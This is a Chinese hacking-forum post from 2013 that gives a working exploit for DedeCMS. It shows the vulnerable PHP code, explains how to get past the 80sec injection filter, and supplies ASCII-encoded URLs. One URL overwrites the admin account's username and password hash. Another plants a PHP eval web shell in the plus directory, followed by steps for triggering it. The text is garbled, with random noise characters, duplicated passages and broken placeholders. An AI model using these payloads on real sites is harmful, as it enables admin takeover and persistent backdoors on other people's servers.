找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2767|回复: 0
打印 上一主题 下一主题

dedecms最新版本修改任意管理员漏洞+getshell+exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 16:08:21 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
此漏洞无视gpc转义,过80sec注入防御。
, v  ?$ G+ p7 r# e补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
5 B! ?) L' E. T3 R% j9 M起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。6 ~" Q: Z& S# ^: T/ W
include/dedesql.class.php5 l# P0 d, G3 d
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。
% q) a- a7 N0 Z: w+ E' e同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
0 c- P- K: x8 V+ y# `4 x* u# c而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
3 z4 h5 Q. a4 F: a- Oplus/download.php
9 g. c, e. |7 Welse if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):9 t6 `. L8 {" H5 G+ [2 E
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:" `4 f/ v+ K4 i, O; k
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
/ O! W5 k9 ?2 v' H7 m0 Ehttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin# O. f9 l) A$ W5 Y- `* }8 K" L1 V
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
" I. C1 i7 a* s! o) `7 X/ C如果找不到后台,参见以前修改数据库直接拿SHELL的方法
5 @8 V6 Y+ f! ~* O' yUPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。
5 C. t+ P# v1 v# S/ n: s# l+ e+ p补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
; T7 O" j' o$ B4 d起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
$ a2 @  W' u0 D" L: dinclude/dedesql.class.php3 \: V2 }5 S- M# N/ S% m5 E5 g6 t8 \
if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。3 ?- {( Z: u+ C) p/ [# f1 [
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
: p3 X, w2 V+ s4 t2 b7 }8 N而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。/ Z6 ?/ Z( G* [7 i( x" H6 ]
plus/download.php- W4 g7 c3 f) u7 P6 G
else if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
* n1 p; x9 B! r4 ]3 f! J' `3 z8 hadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:4 ^' v6 F+ ^+ h; R
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:! Z# ^% p! h% T3 R
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin2 O$ b- ?# Z6 e; a+ Z$ q
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。6 _7 V, Q9 ?( g2 D/ D
如果找不到后台,参见以前修改数据库直接拿SHELL的方法7 B( {# V9 y, r
___FCKpd___6getshell:4 ~4 G# i4 A4 [% E- N
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m4 D- Y% u# S6 c
http://127.0.0.1/plus/x.php
! C, v4 Y) n$ U/ iupdate成功后还要访问下 /plus/mytag_js.php?aid=1  q, u' N& a, M' X
失败原因:
/ `# A- ]1 q5 C测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)( [, s4 d, }! j. R0 p7 ^
配图:
. h0 N' ?! C  _/ p# a6 H1.查看dede当前版本
0 k' q, w; u* q  J. R# d" \/ F/ f1 ?% X3 J- L  S( x* t& f
2.执行exp
: F' ]; i% m: X- w/ A
8 W5 y; b# Y5 L. K6 `, C- p# k, Shttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台- W' g5 }; j1 z0 g/ v# r9 @
' y! @- b, L* @. ]0 d
spider密码admin
5 N  k: C# o0 _) D! Q) R3 O" g& }* b4 {2 |! |
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png6 s9 g& s8 z+ M1 s. p& ]
原作者:imspider
  A  K7 O2 ~8 b( k: K0 H( w8 d9 d: D
! m8 y) J1 j" k% ~7 p本博客测试+配图+getshell1 R- U- r: P6 @5 V. J9 x' ^
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT " I1 K- C9 Q* r3 J/ y

0 m3 S) y5 n4 X' [8 f' [getshell:( \! H/ n9 N! G
___FCKpd___7会在plus目录生成 x.php 密码 m
& b  R/ s; {  q. {* Ahttp://127.0.0.1/plus/x.php1 `/ |& \% |% |" D) v$ J
update成功后还要访问下 /plus/mytag_js.php?aid=1
' O3 Y8 e4 {+ R( }3 m( \6 c失败原因:# i( T* m- @# g1 H& a4 @" |9 Z: f
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
  \2 B3 q: \: e/ m& I4 z3 x配图:
1 o( l. b6 k1 j' y- D1.查看dede当前版本
5 i* ^" b! b  B2 Lhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png+ v  _3 o" s2 q% s
2.执行exp
4 F, e6 P4 X7 Y6 L/ w) Khttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台4 p! \( M$ _6 X% N
spider密码admin
' r5 m; Q4 O* Nhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png3 M7 g  ?( G# Z/ T

6 y, l5 l+ o* e& p1 i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表